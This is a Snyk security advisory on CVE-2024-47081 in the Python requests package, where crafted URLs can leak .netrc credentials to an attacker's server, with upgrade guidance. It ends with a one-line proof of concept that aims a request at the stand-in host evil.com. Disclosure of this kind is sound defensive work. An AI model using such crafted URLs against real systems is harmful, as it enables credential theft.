Insertion of Sensitive Information Into Sent Data Affecting requests package, versions [0,2.32.4)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-REQUESTS-10305723
- published6 Jun 2025
- disclosed4 Jun 2025
- creditJuho Forsén
Introduced: 4 Jun 2025
CVE-2024-47081 (opens in a new tab)How to fix?
Upgrade requests to version 2.32.4 or higher.
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).
PoC
requests.get('http://example.com:@evil.com/')